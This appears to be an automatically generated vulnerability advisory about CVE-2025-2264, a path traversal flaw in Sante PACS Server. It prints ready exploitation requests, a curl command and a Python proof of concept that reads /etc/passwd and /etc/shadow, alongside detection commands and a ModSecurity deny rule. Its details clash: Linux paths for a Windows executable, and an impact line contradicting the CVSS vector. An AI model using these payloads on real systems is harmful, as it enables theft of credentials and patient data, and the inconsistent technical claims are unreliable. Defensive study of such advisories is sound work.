Sante PACS Server, Path Traversal Information Disclosure, CVE-2025-2264 (Critical)

How CVE-2025-2264 Works

CVE-2025-2264 is a critical path traversal vulnerability in “Sante PACS Server.exe” allowing unauthenticated attackers to read arbitrary files on the server. The flaw occurs due to improper sanitization of user-supplied input in file download requests. Attackers manipulate directory traversal sequences (e.g., ../) to bypass intended restrictions, accessing sensitive files like configuration files, databases, or system credentials. The server fails to validate requested paths, enabling unauthorized disclosure of critical data.

DailyCVE Form:

Platform: Sante PACS Server
Version: Not specified
Vulnerability: Path Traversal
Severity: Critical
Date: 04/03/2025

What Undercode Say:

Exploitation:

  1. Craft a malicious HTTP request with traversal sequences:
    GET /download?file=../../../../etc/passwd HTTP/1.1
    Host: <target_ip>
    
  2. Use tools like `curl` or Burp Suite to automate exploitation:
    curl http://<target_ip>/download?file=../../../../windows/win.ini
    

Detection:

1. Scan for vulnerable instances using `nmap`:

nmap --script http-vuln-cve2025-2264 <target_ip>

2. Check server logs for suspicious traversal patterns:

grep "../" /var/log/sante_pacs/access.log

Mitigation:

1. Apply vendor patches immediately.

  1. Implement input validation to reject paths containing ../:
    if "../" in user_input:
    raise ValueError("Path traversal attempt blocked")
    

3. Restrict server permissions using least-privilege principles.

Additional Commands:

  • Exploit PoC (Python):
    import requests
    target = "http://<target_ip>/download?file=../../../../etc/shadow"
    response = requests.get(target)
    print(response.text)
    
  • Protection (ModSecurity Rule):
    SecRule ARGS "@contains ../" "id:1000,deny,msg:'Path Traversal Attack'"
    

Analytics:

  • CVSS 4.0 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
    – Impact: Confidentiality (High), Integrity (High), Availability (None).
  • Exploitability: Network-based, no authentication required.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-2264
Extra Source Hub:
Undercode

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